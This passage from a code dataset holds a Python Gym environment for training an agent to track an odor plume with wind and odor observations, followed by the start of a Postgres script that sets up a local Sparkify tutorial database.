varx*X_var*np.random.randn(), \n Y_mean + varx*Y_var*np.random.randn()]) \n return loc_xy\n\n def get_concentration(self, x_val, y_val, min_radius=0.01, extent=0.0):\n if 'concentration' not in self.puffs.columns:\n self.puffs['x_minus_radius'] = self.puffs.x - self.puffs.radius\n self.puffs['x_plus_radius'] = self.puffs.x + self.puffs.radius\n self.puffs['y_minus_radius'] = self.puffs.y - self.puffs.radius\n self.puffs['y_plus_radius'] = self.puffs.y + self.puffs.radius\n self.puffs['concentration'] = (min_radius/self.puffs.radius)**3\n\n # xval_ext = xval_ext\n qx = \"@x_val > x_minus_radius and @x_val < x_plus_radius\"\n qy = \"@y_val > y_minus_radius and @y_val < y_plus_radius\"\n q = qx + ' and ' + qy\n d = self.puffs.query(q)\n return d.concentration.sum()\n\nclass PlumeEnvironment(gym.Env):\n \"\"\"\n Documentation: https://gym.openai.com/docs/#environments\n Plume tracking\n \"\"\"\n def __init__(self, \n t_val_min=60.00, \n sim_steps_max=300, # steps\n reset_offset_tmax=30, # seconds; max secs for initial offset from t_val_min\n dataset=None,\n move_capacity=2.5, # Max agent speed in m/s\n turn_capacity=6.25*np.pi, # Max agent CW/CCW turn per second\n wind_obsx=1.0, # normalize/divide wind observations by this quantity (move_capacity + wind_max) \n movex=1.0, # move_max multiplier for tuning\n turnx=1.0, # turn_max multiplier for tuning\n birthx=1.0, # per-episode puff birth rate sparsity minimum\n birthx_max=1.0, # overall odor puff birth rate sparsity max\n env_dt=0.04,\n loc_algo='quantile',\n qvar=1.0, # Variance of init. location; higher = more off-plume initializations\n time_algo='uniform',\n angle_algo='uniform',\n homed_radius=0.2, # meters, at which to end flying episode\n stray_max=2.0, # meters, max distance agent can stray from plume\n wind_rel=True, # Agent senses relative wind speed (not ground speed)\n auto_movex=False, # simple autocurricula for movex\n auto_reward=False, # simple autocurricula for reward decay\n diff_max=0.8, # teacher curriculum\n diff_min=0.4, # teacher curriculum\n r_shaping=['step'], # 'step', 'end'\n rewardx=1.0, # scale reward for e.g. A3C\n rescale=False, # rescale/normalize input/outputs [redundant?]\n squash_action=False, # apply tanh and rescale (useful with PPO)\n walking=False,\n walk_move=0.05, # m/s (x100 for cm/s)\n walk_turn=1.0*np.pi, # radians/sec\n radiusx=1.0, \n action_feedback=False,\n flipping=False, # Generalization/reduce training data bias\n odor_scaling=False, # Generalization/reduce training data bias\n obs_noise=0.0, # Multiplicative: Wind & Odor observation noise.\n act_noise=0.0, # Multiplicative: Move & Turn action noise.\n seed=137,\n verbose=0):\n super(PlumeEnvironment, self).__init__()\n\n self.arguments = locals()\n print(\"PlumeEnvironment:\", self.arguments)\n\n np.random.seed(seed) \n self.verbose = verbose\n self.venv = self\n self.walking = walking\n self.rewardx = rewardx\n self.rescale = rescale\n self.odor_scaling = odor_scaling\n self.stray_max = stray_max\n self.wind_obsx = wind_obsx\n self.reset_offset_tmax = reset_offset_tmax\n self.action_feedback = action_feedback\n self.qvar = qvar\n self.squash_action = squash_action\n self.obs_noise = obs_noise\n self.act_noise = act_noise\n if self.squash_action:\n print(\"Squashing actions to 0-1\")\n\n # Fixed evaluation related:\n self.fixed_time_offset = 0.0 # seconds\n self.fixed_angle = 0.0 # downwind\n self.fixed_x = 7.0 \n self.fixed_y = 0.0 # might not work for switch/noisy! \n\n\n # Environment/state variables\n # self.dt = config.env['dt'] \n self.dt = env_dt # 0.1, 0.2, 0.4, 0.5 sec\n # self.fps = config.env['fps'] # 20/25/50/100 steps/sec\n self.fps = int(1/self.dt)\n self.sim_fps = 100\n self.episode_step = 0 # skip_steps done during loading\n\n # Load simulated data\n self.radiusx = radiusx\n self.birthx = birthx\n self.birthx_max = birthx_max\n self.t_val_min = t_val_min\n self.episode_steps_max = sim_steps_max # Short training episodes to gather rewards\n self.t_val_max = self.t_val_min + self.reset_offset_tmax + 1.0*self.episode_steps_max/self.fps + 1.00\n\n\n # Other initializations -- many redundant, see .reset() \n # self.agent_location = np.array([1, 0]) # TODO: Smarter\n self.agent_location = None\n self.agent_location_last = self.agent_location\n self.agent_location_init = self.agent_location\n random_angle = np.pi * np.random.uniform(0, 2)\n self.agent_angle_radians = [np.cos(random_angle), np.sin(random_angle)] # Sin and Cos of angle of orientation\n self.step_offset = 0 # random offset per trial in reset()\n self.t_val = 0.0\n self.tidx = 0\n self.tidx_min_episode = self.tidx\n self.tidx_max_episode = self.tidx\n self.wind_ground = 0.\n self.odor_ground = 0.\n self.stray_distance = 0\n self.stray_distance_last = 0\n self.agent_velocity_last = np.array([0, 0]) # Maintain last timestep velocity (in absolute coordinates) for relative sensory observations\n self.episode_reward = 0\n\n # Generalization & curricula\n self.r_shaping = r_shaping\n print(\"Reward Shaping\", self.r_shaping)\n self.flipping = flipping \n self.flipx = 1.0 # flip puffs around x-axis? \n self.difficulty = diff_max # Curriculum\n self.diff_max = diff_max # Curriculum\n self.diff_min = diff_min # Curriculum\n self.odorx = 1.0 # Doesn't make a difference except when thresholding\n self.turnx = turnx\n self.movex = movex\n self.auto_movex = auto_movex\n self.auto_reward = auto_reward\n self.reward_decay = 1.00\n self.loc_algo = loc_algo\n self.angle_algo = angle_algo\n self.time_algo = time_algo\n assert self.time_algo in ['uniform', 'linear', 'fixed']\n self.outcomes = [] # store outcome last N episodes\n\n # Constants\n self.wind_rel = wind_rel\n self.turn_capacity = turn_capacity\n self.move_capacity = move_capacity \n # self.turn_capacity = 1.0 * np.pi # Max agent can turn CW/CCW in one timestep\n # self.move_capacity = 0.025 # Max agent can move in one timestep\n self.arena_bounds = config.env['arena_bounds'] \n self.homed_radius = homed_radius # End session if dist(agent - source) < homed_radius\n self.rewards = {\n 'tick': -1/self.episode_steps_max,\n 'homed': 101.0,\n }\n\n # dynamic plume\n self.dynamic = DynamicPlume(\n env_dt=self.dt,\n birthx=self.birthx, # per-episode puff birth rate sparsity minimum\n birthx_max=self.birthx_max, # overall odor puff birth rate sparsity max\n qvar=self.qvar, # Variance of init. location; higher = more off-plume initializations\n diff_max=self.diff_max, # teacher curriculum\n diff_min=self.diff_min, # teacher curriculum\n dataset=dataset,\n )\n\n\n\n # Define action and observation spaces\n # Actions:\n # Move [0, 1], with 0.0 = no movement\n # Turn [0, 1], with 0.5 = no turn... maybe change to [-1, 1]\n self.action_space = spaces.Box(low=0, high=+1, shape=(2,), dtype=np.float32)\n # Observations\n # Wind velocity [-1, 1] * 2, Odor concentration [0, 1]\n obs_dim = 3 if not self.action_feedback else 3+2\n self.observation_space = spaces.Box(low=-1, high=+1,\n shape=(obs_dim,), dtype=np.float32)\n\n def sense_environment(self):\n if (self.verbose > 1) and (self.episode_step >= self.episode_steps_max): # Debug mode\n pprint(vars(self))\n # Wind\n wind_absolute = self.wind_ground # updated by step()\n \n # Subtract agent velocity to convert to (observed) relative velocity\n if self.wind_rel: \n wind_absolute = self.wind_ground - self.agent_velocity_last # TODO: variable should be named wind_relative\n\n # Get wind relative angle\n agent_angle_radians = np.angle( self.agent_angle[0] + 1j*self.agent_angle[1], deg=False )\n wind_angle_radians = np.angle( wind_absolute[0] + 1j*wind_absolute[1], deg=False )\n wind_relative_angle_radians = wind_angle_radians - agent_angle_radians\n wind_observation = [ np.cos(wind_relative_angle_radians), np.sin(wind_relative_angle_radians) ] \n # Un-normalize wind observation by multiplying by magnitude\n wind_magnitude = np.linalg.norm(np.array( wind_absolute ))/self.wind_obsx\n wind_observation = [ x*wind_magnitude for x in wind_observation ] # convert back to velocity\n # Add observation noise\n wind_observation = [ x*(1.0+np.random.uniform(-self.obs_noise, +self.obs_noise)) for x in wind_observation ]\n\n if self.verbose > 1:\n print('wind_observation', wind_observation)\n\n # Odor\n self.odor_ground = self.dynamic.get_concentration(self.agent_location[0], self.agent_location[1])\n odor_observation = self.odor_ground \n if self.verbose > 1:\n print('odor_observation', odor_observation)\n if self.odor_scaling:\n odor_observation *= self.odorx # Random scaling to improve generalization \n odor_observation *= 1.0 + np.random.uniform(-self.obs_noise, +self.obs_noise) # Add observation noise\n\n odor_observation = 0.0 if odor_observation < config.env['odor_threshold'] else odor_observation\n odor_observation = np.clip(odor_observation, 0.0, 1.0) # clip for neural net stability\n\n # Return\n observation = np.array(wind_observation + [odor_observation]).astype(np.float32) # per Gym spec\n if self.verbose > 1:\n print('observation', observation)\n return observation\n\n def get_initial_location(self, algo):\n loc_xy = None\n if 'uniform' in algo:\n loc_xy = np.array([\n 2 + np.random.uniform(-1, 1), \n np.random.uniform(-0.5, 0.5)])\n\n if self.walking:\n loc_xy = np.array([\n 0.2 + np.random.uniform(-0.1, 0.1), \n np.random.uniform(-0.05, 0.05)])\n\n if 'linear' in algo:\n # TODO\n loc_xy = np.array([\n 2 + np.random.uniform(-1, 1), \n np.random.uniform(-0.5, 0.5)])\n\n if 'quantile' in algo:\n assert False\n \"\"\" \n Distance curriculum\n Start the agent at a location with random location with mean and var\n decided by distribution/percentile of puffs \n \"\"\"\n q_curriculum = np.random.uniform(self.diff_min, self.diff_max)\n\n Z = self.get_abunchofpuffs()\n X_pcts = Z['x'].quantile([q_curriculum-0.1, q_curriculum]).to_numpy()\n X_mean, X_var = X_pcts[1], X_pcts[1] - X_pcts[0]\n # print(\"initial X mean, var, q: \", X_mean, X_var, q_curriculum)\n Y_pcts = Z.query(\"(x >= (@X_mean - @X_var)) and (x <= (@X_mean + @X_var))\")['y'].quantile([0.05,0.5]).to_numpy()\n Y_pcts\n Y_mean, Y_var = Y_pcts[1], min(1, Y_pcts[1] - Y_pcts[0]) # TODO: What was min for?\n # print(Y_mean, Y_var)\n varx = self.qvar \n loc_xy = np.array([X_mean + varx*X_var*np.random.randn(), \n Y_mean + varx*Y_var*np.random.randn()]) \n\n if 'fixed' in algo:\n loc_xy = np.array( [self.fixed_x, self.fixed_y] )\n\n return loc_xy\n\n def get_initial_step_offset(self, algo):\n \"\"\" Time curriculum \"\"\"\n if 'uniform' in algo:\n step_offset = int(self.fps * np.random.uniform(low=0.00, high=self.reset_offset_tmax))\n\n if 'linear' in algo:\n window = 5 # seconds\n mean = window + self.difficulty*(self.reset_offset_tmax-window)\n step_offset = int(self.fps * np.random.uniform(low=mean-window, high=mean+window))\n # print(\"mean, offset_linear:\", mean, offset)\n\n if 'fixed' in algo: # e.g. fixed eval schedule\n step_offset = int(self.fps * self.fixed_time_offset)\n\n return step_offset\n\n def get_initial_angle(self, algo):\n if 'uniform' in algo:\n # Initialize agent to random orientation [0, 2*pi]\n random_angle = np.random.uniform(0, 2*np.pi)\n agent_angle = np.array([np.cos(random_angle), np.sin(random_angle)]) # Sin and Cos of angle of orientation\n if 'fixed' in algo: # e.g. fixed eval schedule\n agent_angle = np.array([np.cos(self.fixed_angle), np.sin(self.fixed_angle)]) # Sin and Cos of angle of orientation\n return agent_angle\n\n def reset(self):\n \"\"\"\n return Gym.Observation\n \"\"\"\n self.dynamic.reset()\n self.episode_reward = 0\n self.episode_step = 0 # skip_steps already done during loading\n # Add randomness to start time PER TRIAL!\n\n # Initialize agent to random location \n\n self.agent_location = self.dynamic.get_initial_location(self.loc_algo)\n # if self.loc_algo == 'quantile' else self.get_initial_location(self.loc_algo)\n self.agent_location_last = self.agent_location\n self.agent_location_init = self.agent_location\n\n self.stray_distance = self.dynamic.get_stray_distance(self.agent_location)\n self.stray_distance_last = self.stray_distance\n\n self.agent_angle = self.get_initial_angle(self.angle_algo)\n if self.verbose > 0:\n print(\"Agent initial location {} and orientation {}\".format(self.agent_location, self.agent_angle))\n self.agent_velocity_last = np.array([0, 0])\n\n # self.wind_ground = self.get_current_wind_xy() # Observe after flip\n self.wind_ground = self.dynamic.get_current_wind_xy() # Observe after flip\n if self.odor_scaling:\n self.odorx = np.random.uniform(low=0.5, high=1.5) # Odor generalize\n observation = self.sense_environment()\n if self.action_feedback:\n observation = np.concatenate([observation, np.zeros(2)])\n\n self.found_plume = True if observation[-1] > 0. else False \n return observation\n\n\n def get_oob(self):\n is_outofbounds = self.stray_distance > self.stray_max # how far agent can be from closest puff-center\n return is_outofbounds\n\n # \"Transition function\"\n def step(self, action):\n \"\"\"\n return observation, reward, done, info\n \"\"\"\n self.episode_step += 1 \n self.agent_location_last = self.agent_location\n # Update internal variables\n self.stray_distance_last = self.stray_distance\n self.stray_distance = self.dynamic.get_stray_distance(self.agent_location)\n \n self.wind_ground = self.dynamic.get_current_wind_xy()\n\n # Unpack action\n if self.verbose > 1:\n print(\"step action:\", action, action.shape)\n assert action.shape == (2,)\n if self.squash_action:\n action = (np.tanh(action) + 1)/2\n action = np.clip(action, 0.0, 1.0)\n move_action = action[0] # Typically between [0.0, 1.0]\n turn_action = action[1] # Typically between [0.0, 1.0]\n # print(action)\n\n # Action noise (multiplicative)\n move_action *= 1.0 + np.random.uniform(-self.act_noise, +self.act_noise) \n turn_action *= 1.0 + np.random.uniform(-self.act_noise, +self.act_noise) \n\n # Action: Clip & self.rescale to support more algorithms\n # Turn/Update orientation and move to new location \n old_angle_radians = np.angle( self.agent_angle[0] + 1j*self.agent_angle[1], deg=False )\n new_angle_radians = old_angle_radians + self.turn_capacity*self.turnx*(turn_action - 0.5)*self.dt # in radians\n self.agent_angle = [ np.cos(new_angle_radians), np.sin(new_angle_radians) ] \n assert np.linalg.norm(self.agent_angle) < 1.1\n\n # New location = old location + agent movement + wind advection\n agent_move_x = self.agent_angle[0]*self.move_capacity*self.movex*move_action*self.dt\n agent_move_y = self.agent_angle[1]*self.move_capacity*self.movex*move_action*self.dt\n wind_drift_x = self.wind_ground[0]*self.dt\n wind_drift_y = self.wind_ground[1]*self.dt\n if self.walking:\n wind_drift_x = wind_drift_y = 0\n self.agent_location = [\n self.agent_location[0] + agent_move_x + wind_drift_x,\n self.agent_location[1] + agent_move_y + wind_drift_y,\n ]\n self.agent_velocity_last = np.array([agent_move_x, agent_move_y])/self.dt # For relative wind calc.\n\n ### ----------------- End conditions / Is the trial over ----------------- ### \n is_home = np.linalg.norm(self.agent_location) <= self.homed_radius \n is_outoftime = self.episode_step >= self.episode_steps_max - 1 \n is_outofbounds = self.get_oob()\n done = bool(is_home or is_outofbounds or is_outoftime)\n\n # Observation\n observation = self.sense_environment()\n\n ### ----------------- Reward function ----------------- ### \n reward = self.rewards['homed'] if is_home else self.rewards['tick']\n if observation[2] <= config.env['odor_threshold'] : # if off plume, more tick penalty\n reward += 5*self.rewards['tick']\n\n # Reward shaping \n if is_outofbounds and 'oob_fixed' in self.r_shaping:\n # Going OOB should be worse than radial reward shaping\n # OOB Overshooting should be worse!\n oob_penalty = 10\n # oob_penalty *= 2 if self.agent_location[0] < 0 else 1 \n reward -= oob_penalty\n\n if is_outofbounds and 'oob_loc' in self.r_shaping:\n oob_penalty = 5*np.linalg.norm(self.agent_location) + 5*self.stray_distance\n # oob_penalty *= 2 if self.agent_location[0] < 0 else 1 \n reward -= oob_penalty\n\n \n # X distance decrease at each STEP of episode\n r_xstep = 0\n if 'xstep' in self.r_shaping:\n r_xstep = 5*(self.agent_location_last[0] - self.agent_location[0])\n r_xstep = min(0, r_xstep) if observation[2] <= config.env['odor_threshold'] else r_xstep\n # Multiplier for overshooting source\n # if ('stray' in self.r_shaping) and (self.stray_distance > self.stray_max/3):\n # r_xstep += 2.5*(self.stray_distance_last - self.stray_distance)\n reward += r_xstep * self.reward_decay\n\n # New Stray rewards/penalties\n # Additive reward for reducing stray distance from plume\n if ('stray_delta' in self.r_shaping) and (self.stray_distance > self.stray_max/4):\n reward += 1*(self.stray_distance_last - self.stray_distance) # higher when stray reducing \n if ('stray_abs' in self.r_shaping) and (self.stray_distance > self.stray_max/4):\n # print(\"r_xstep, stray_abs: \", r_xstep, -0.1*self.stray_distance)\n reward += -0.05*self.stray_distance # \n\n # Y-stray decrease at each STEP of episode\n r_ystray = 0\n # if 'ystray' in self.r_shaping:\n # r_ystray = -0.1*ystray\n # # print(reward, r_ystray, y_median, self.agent_location[1])\n # reward += r_ystray * self.reward_decay\n\n\n # Radial distance decrease at each STEP of episode\n r_radial_step = 0\n if 'step' in self.r_shaping:\n r_radial_step = 5*( np.linalg.norm(self.agent_location_last) - np.linalg.norm(self.agent_location) )\n # Multiplier for overshooting source\n # if 'overshoot' in self.r_shaping and self.agent_location[0] < 0:\n # r_radial_step *= 2 # Both encourage and discourage agent more\n reward += r_radial_step * self.reward_decay\n\n if 'step_pos' in self.r_shaping:\n r_radial_step = 5*( np.linalg.norm(self.agent_location_last) - np.linalg.norm(self.agent_location) )\n r_radial_step = min(0, r_radial_step) if observation[2] <= config.env['odor_threshold'] else r_radial_step\n reward += r_radial_step * self.reward_decay\n\n # Walking agent: Metabolic cost: penalize forward movement\n r_metabolic = 0 # for logging\n if self.walking and 'metabolic' in self.r_shaping:\n delta_move = np.linalg.norm(np.array(self.agent_location_last) - np.array(self.agent_location))\n # r_metabolic = -5.*delta_move\n delta_move = 1 if delta_move > 0 else 0\n r_metabolic += self.rewards['tick']*delta_move\n reward += r_metabolic\n\n # Radial distance decrease at END of episode \n radial_distance_reward = 0 # keep for logging\n if done and 'end_pos' in self.r_shaping:\n reward += 12/(1+np.linalg.norm(self.agent_location)) if observation[2] > config.env['odor_threshold'] else 0\n\n if done and 'end' in self.r_shaping:\n reward -= np.linalg.norm(self.agent_location)\n # reward -= np.linalg.norm(self.agent_location) + self.stray_distance\n # 1: Radial distance r_decreasease at end of episode\n # radial_distance_decrease = ( np.linalg.norm(self.agent_location_init) - np.linalg.norm(self.agent_location) )\n # radial_distance_reward = radial_distance_decrease - np.linalg.norm(self.agent_location)\n # reward += radial_distance_reward \n # reward -= np.linalg.norm(self.agent_location)\n # end_reward = -np.linalg.norm(self.agent_location)*(1+self.stray_distance) + radial_distance_decrease\n # self.stray_distance = self.dynamic.get_stray_distance(self.agent_location, max_samples=3000) # Highest quality\n # end_reward = -2*self.stray_distance # scale to be comparable with sum_T(r_step)\n # end_reward = radial_distance_decrease - self.stray_distance\n # reward += 5*(end_reward)\n\n r_location = 0 # incorrect, leads to cycling in place\n if 'loc' in self.r_shaping:\n r_location = 1/( 1 + np.linalg.norm(np.array(self.agent_location)) )\n r_location /= (1 + 5*self.stray_distance)\n reward += r_location \n\n if 'turn' in self.r_shaping:\n reward -= 0.05*np.abs(2*(turn_action - 0.5))\n\n if 'move' in self.r_shaping:\n reward -= 0.05*np.abs(move_action)\n\n if 'found' in self.r_shaping:\n if self.found_plume is False and observation[-1] > 0.:\n # print(\"found_plume\")\n reward += 10\n self.found_plume = True\n\n reward = reward*self.rewardx # Scale reward for A3C\n\n if is_home and self.auto_reward:\n self.dynamic.diff_min *= 1.01\n self.dynamic.diff_max *= 1.01\n self.dynamic.diff_min = min(self.dynamic.diff_min, 0.4)\n self.dynamic.diff_max = min(self.dynamic.diff_max, 0.8)\n\n # Optional/debug info\n done_reason = \"HOME\" if is_home else \\\n \"OOB\" if is_outofbounds else \\\n \"OOT\" if is_outoftime else \\\n \"NA\" \n info = {\n 't_val':self.t_val, \n 'tidx':self.tidx, \n 'flipx':self.flipx,\n 'location':self.agent_location, \n 'location_last':self.agent_location_last, \n 'location_initial':self.agent_location_init, \n 'stray_distance': self.stray_distance,\n 'wind_ground': self.wind_ground,\n 'angle': self.agent_angle,\n 'reward': reward,\n 'r_dict': {\n 'r_radial_step': r_radial_step,\n 'r_xstep': r_xstep,\n # 'r_ystray': r_ystray,\n },\n 'movex': self.movex,\n 'done': done_reason if done else None,\n 'radiusx': self.radiusx,\n }\n\n if done:\n self.outcomes.append(done_reason)\n if len(self.outcomes) > 10:\n self.outcomes = self.outcomes[1:] # maintain list size\n\n if done and self.verbose > 0:\n print(\"{} at (x,y): {}, {} steps w/ reward {}\".format( \\\n done_reason, \n self.agent_location, \n self.episode_step, \n reward))\n\n if self.action_feedback:\n # print(observation.shape, action.shape)\n observation = np.concatenate([observation, action])\n\n if self.flipping and self.flipx < 0:\n observation[1] *= -1.0 # observation: [x, y, o] \n\n self.episode_reward += reward\n if done:\n info['episode'] = {'r': self.episode_reward }\n\n\n if self.verbose > 0:\n print(observation, reward, done, info)\n return observation, reward, done, info\n\n def render(self, mode='console'):\n # raise NotImplementedError()\n return\n\n def close(self):\n pass\n\n\n\n#### \n# class PlumeEnvironmentDiscreteActionWrapper(PlumeEnvironment):\n# \"\"\"\n# TODO: Describe discrete actions\n# \"\"\"\n# def __init__(self, dummy, **kwargs):\n# self.venv = PlumeEnvironment(**kwargs)\n# # Discrete action agent maintains current state: move-step and turn-step\n# self.agent_movestep_DA = 0 # Used when discrete action space\n# self.agent_turnstep_DA = 0 # Used when discrete action space\n\n# self.action_space = spaces.MultiDiscrete([ [0,2], [0, 2] ])\n# self.observation_space = self.venv.observation_space\n\n# def step(self, action):\n# # TODO - Discretize actions\n# # print(action, type(action))\n# # assert isinstance(action, tuple)\n# delta_move = (action[0]-1)*self.move_capacity/2 # 0,1,2 --> -delta,0,+delta\n# self.agent_movestep_DA = np.clip(self.agent_movestep_DA + delta_move, 0.0, self.move_capacity) \n\n# delta_turn = (action[1]-1)*1.0/8 # 0,1,2 --> -delta,0,+delta\n# self.agent_turnstep_DA = self.agent_turnstep_DA + delta_turn # Used when discrete action space\n# self.agent_turnstep_DA = np.clip(self.agent_turnstep_DA, -1.0, 1.0)\n# move_action = self.agent_movestep_DA\n# turn_action = self.agent_turnstep_DA\n# # print(\"turn_action, delta_turn\", turn_action, delta_turn)\n# # print(\"move_action, delta_move\", move_action, delta_move)\n\n# observations, rewards, dones, infos = self.venv.step(action)\n# return observations, rewards, dones, infos\n\n# def reset(self):\n# obs = self.venv.reset()\n# return obs\n\n# def render(self, mode):\n# self.venv.render(mode)\n\n# def close(self):\n# self.venv.close()\n\n\nclass PlumeFrameStackEnvironment(gym.Env):\n \"\"\"\n Frame stacking wrapper for PlumeEnvironment\n Adapted from: https://stable-baselines.readthedocs.io/en/master/_modules/stable_baselines/common/vec_env/vec_frame_stack.html#VecFrameStack\n \"\"\"\n\n def __init__(self, n_stack, masking=None, stride=1, **kwargs):\n # mask in [None, 'odor', 'wind']\n # stride can be int or 'log'\n\n self.n_stack = n_stack\n self.masking = masking\n self.stride = stride\n\n self.venv = PlumeEnvironment(**kwargs)\n venv = self.venv\n wrapped_obs_space = venv.observation_space\n low = np.repeat(wrapped_obs_space.low, self.n_stack, axis=-1)\n high = np.repeat(wrapped_obs_space.high, self.n_stack, axis=-1)\n self.stackedobs = np.zeros(low.shape, low.dtype)\n # Parse stride-options\n if isinstance(self.stride, int):\n self.historyobs = np.zeros(wrapped_obs_space.shape[0] * self.n_stack * self.stride, wrapped_obs_space.dtype) # Full history\n if isinstance(self.stride, str) and 'log' in self.stride:\n self.historyobs = np.zeros(wrapped_obs_space.shape[0] * (1+2**(self.n_stack-1)), wrapped_obs_space.dtype) # Full history\n # print(self.historyobs.shape, self.stackedobs.shape)\n\n self.observation_space = spaces.Box(low=low, high=high, dtype=venv.observation_space.dtype)\n self.action_space = self.venv.action_space\n\n def step(self, action):\n observations, rewards, dones, infos = self.venv.step(action)\n las = observations.shape[-1] # last_axis_size\n\n # Observation history are shifted left by las on each step\n self.historyobs = np.roll(self.historyobs, shift=-las, axis=-1)\n self.historyobs[..., -las:] = observations # load latest observation\n\n # self.historyobs --> self.stackedobs\n # Select observations to use to return to agent from history\n if isinstance(self.stride, int):\n idxs = ([0]+list(range(1, self.n_stack*self.stride, self.stride)))[:self.n_stack]\n if isinstance(self.stride, str) and 'log' in self.stride:\n idxs = ([0]+[2**i for i in range(0, self.n_stack)])[:self.n_stack]\n history_chronological = np.flip(self.historyobs) # simplify indexing\n for i in range(len(idxs)):\n self.stackedobs[i*las:(i+1)*las] = history_chronological[idxs[i]*las:(idxs[i]+1)*las]\n self.stackedobs = np.flip(self.stackedobs) # flip back\n\n # Masking & leave current/latest observation intact\n # Obs: [w_x, w_y, odor]\n if self.masking is not None and 'odor' in self.masking:\n mask = np.array([ 0 if ((i+1) % las == 0) else 1 for i in range(self.stackedobs.shape[0]) ]) \n mask[-las:] = 1\n self.stackedobs *= mask\n if self.masking is not None and 'wind' in self.masking:\n mask = np.array([ 1 if ((i+1) % las == 0) else 0 for i in range(self.stackedobs.shape[0]) ]) \n mask[-las:] = 1\n self.stackedobs *= mask\n\n return self.stackedobs, rewards, dones, infos\n\n def reset(self):\n obs = self.venv.reset()\n self.stackedobs[...] = 0\n self.stackedobs[..., -obs.shape[-1]:] = obs\n return self.stackedobs\n\n def render(self, mode):\n self.venv.render(mode)\n\n def close(self):\n self.venv.close()\n\n# class PlumeFrameStackEnvironment1(gym.Env):\n# \"\"\"\n# Frame stacking wrapper for PlumeEnvironment\n# Adapted from: https://stable-baselines.readthedocs.io/en/master/_modules/stable_baselines/common/vec_env/vec_frame_stack.html#VecFrameStack\n# \"\"\"\n\n# def __init__(self, n_stack, masking=None, **kwargs):\n# # mask in [None, 'odor', 'wind']\n\n# self.n_stack = n_stack\n# self.masking = masking\n\n# self.venv = PlumeEnvironment(**kwargs)\n# venv = self.venv\n# wrapped_obs_space = venv.observation_space\n# low = np.repeat(wrapped_obs_space.low, self.n_stack, axis=-1)\n# high = np.repeat(wrapped_obs_space.high, self.n_stack, axis=-1)\n# self.stackedobs = np.zeros(low.shape, low.dtype)\n# self.observation_space = spaces.Box(low=low, high=high, dtype=venv.observation_space.dtype)\n# self.action_space = self.venv.action_space\n\n# def step(self, action):\n# observations, rewards, dones, infos = self.venv.step(action)\n# las = observations.shape[-1] # last_ax_size\n# # Observations are shifted left by las on each step\n# self.stackedobs = np.roll(self.stackedobs, shift=-las, axis=-1)\n# self.stackedobs[..., -las:] = observations\n\n# # Masking & leave current/latest observation intact\n# # Obs: [w_x, w_y, odor]\n# if self.masking is not None and 'odor' in self.masking:\n# mask = np.array([ 0 if ((i+1) % 3 == 0) else 1 for i in range(self.stackedobs.shape[0]) ]) \n# mask[-las:] = 1\n# self.stackedobs *= mask\n# if self.masking is not None and 'wind' in self.masking:\n# mask = np.array([ 1 if ((i+1) % 3 == 0) else 0 for i in range(self.stackedobs.shape[0]) ]) \n# mask[-las:] = 1\n# self.stackedobs *= mask\n\n# return self.stackedobs, rewards, dones, infos\n\n# def reset(self):\n# obs = self.venv.reset()\n# self.stackedobs[...] = 0\n# self.stackedobs[..., -obs.shape[-1]:] = obs\n# return self.stackedobs\n\n# def render(self, mode):\n# self.venv.render(mode)\n\n# def close(self):\n# self.venv.close()\n\n# class PlumeFrameStackEnvironment0(gym.Env):\n# \"\"\"\n# Frame stacking wrapper for PlumeEnvironment\n# Adapted from: https://stable-baselines.readthedocs.io/en/master/_modules/stable_baselines/common/vec_env/vec_frame_stack.html#VecFrameStack\n# \"\"\"\n\n# def __init__(self, n_stack, **kwargs):\n# self.venv = PlumeEnvironment(**kwargs)\n# venv = self.venv\n# self.n_stack = n_stack\n# wrapped_obs_space = venv.observation_space\n# low = np.repeat(wrapped_obs_space.low, self.n_stack, axis=-1)\n# high = np.repeat(wrapped_obs_space.high, self.n_stack, axis=-1)\n# self.stackedobs = np.zeros(low.shape, low.dtype)\n# self.observation_space = spaces.Box(low=low, high=high, dtype=venv.observation_space.dtype)\n# self.action_space = self.venv.action_space\n\n# def step(self, action):\n# observations, rewards, dones, infos = self.venv.step(action)\n# las = observations.shape[-1] # last_ax_size\n# self.stackedobs = np.roll(self.stackedobs, shift=-las, axis=-1)\n# self.stackedobs[..., -observations.shape[-1]:] = observations\n# return self.stackedobs, rewards, dones, infos\n\n# def reset(self):\n# obs = self.venv.reset()\n# self.stackedobs[...] = 0\n# self.stackedobs[..., -obs.shape[-1]:] = obs\n# return self.stackedobs\n\n# def render(self, mode):\n# self.venv.render(mode)\n\n# def close(self):\n# self.venv.close()","sub_path":"code/plume_env_dynamic.py","file_name":"plume_env_dynamic.py","file_ext":"py","file_size_in_byte":38750,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"45951157","text":"import psycopg2 #Python Postgres module\nfrom sql_queries import create_table_queries, drop_table_queries #Importing variables containing SQL defined in sql_queries\nfrom logging import error, info #Logging progress\nfrom sys import exit #To gracefully exit Python application upon error\n\n\"\"\"\nPurpose: \n Connects to the default Postgres database using psycopg2 module\n Drops the Sparkify database, if exists and Creates a new Sparkify database\n Connects to the Sparkify database and retrieves Cursor\nReturn: \n Function returns connection and cursor to the Sparkify database \n\"\"\"\ndef create_database():\n # connect to default database\n conn = psycopg2.connect(\"host=127.0.0.1 dbname=studentdb user=student password=student\")\n conn.set_session(autocommit=True)\n cur = conn.cursor()\n \n # create sparkify database with UTF8 encoding\n cur.execute(\"DROP DATABASE IF EXISTS sparkifydb\")\n cur.execute(\"CREATE DATABASE sparkifydb WITH ENCODING 'utf8' TEMPLATE template0\")\n\n # close connection to default database\n conn.close() \n \n # connect to sparkify database\n conn = psycopg2.connect(\"host=127.0.0.1 dbname=sparkifydb user=student password=student\")\n cur = conn.cursor()\n \n return cur, conn\n\n\"\"\"\nPurpose: \n drop_tables function imports SQL DROP Table statements stored as a list in drop_table_queries variable in sql_queries file\n and executes each statement one at a time using FOR loop\nArg: \n conn - Connection to Sparkify database\n cur - Connection Cursor to the Sparkify database\n\"\"\"\ndef drop_tables(cur, conn):\n for query in drop_table_queries:\n cur.execute(query)\n conn.commit()\n\n\"\"\"\nPurpose: \n create_tables imports SQL CREATE Table statements stored as a list in create_table_queries variable in sql_queries file\n and executes each statement one at a time using FOR loop\nArg: \n conn - Connection to Sparkify database\n cur - Connection Cursor to the Sparkify database\n\"\"\"\n\ndef create_tables(cur, conn):\n for query in create_table_queries:\n cur.execute(query)\n conn.commit()\n\n\"\"\"\nPurpose: \n Calls create_database function to drop and create Sparkify database\n Captures database Connection and Cursor in variables\n Calls drop_tables and create_tables functions with database Connection and Cursor as function arguments\n\"\"\"\ndef 